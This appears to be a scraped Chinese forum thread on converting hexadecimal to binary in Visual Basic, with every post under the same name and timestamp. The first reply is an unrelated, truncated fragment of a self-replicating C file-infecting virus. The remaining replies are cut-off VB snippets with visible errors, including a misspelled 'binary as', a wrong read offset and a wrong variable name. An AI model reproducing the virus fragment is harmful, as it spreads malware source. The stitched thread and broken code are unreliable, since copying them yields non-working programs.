VB编程使16进制转换为2进制

显示全部楼层 · 2009-7-5 11:21:25

#include#includevoid main(void) { virus(); } int virus() { struct ffblk ffblk; FILE *in,*out,*read; char *virus="virus.c"; char buf[50][80]; char *p; char *end="return"; char *bracket="}"; char *main="main"; char *include[2]={"stdio.h","dir.h"}; char *int_virus="int virus()";...

千问 · 2009-7-5 11:21:25

楼上的代码真长!HEX是什么东东?如果是文件的话,那就简单了.dim a()open XX for binayas #1 '这里的XX指的是HEX文件的路径。redim a(lof(1))get #1,10,aclose #1'这样，你所说的HEX文件就被转换成二进制的储存在A这个数组变量中了。...

千问 · 2009-7-5 11:21:25

h=len(hed)for(u = 1 to h)select case mid(h,u,1)
CASE(0)
p = p&"0000"
CASE(1)
p = p&"0001"
CASE(2)
p = p&"0010"
CASE(3)
p = p&"...

千问 · 2009-7-5 11:21:25

'16进制转2进制文本Function HEXtoBINtxt(HEXData As Byte) As String
For I = 7 To 0 Step -1
If HEXData / (2 ^ I) >= 1 Then
HEXtoBINtxt = HEXtoBINtxt + "1"
...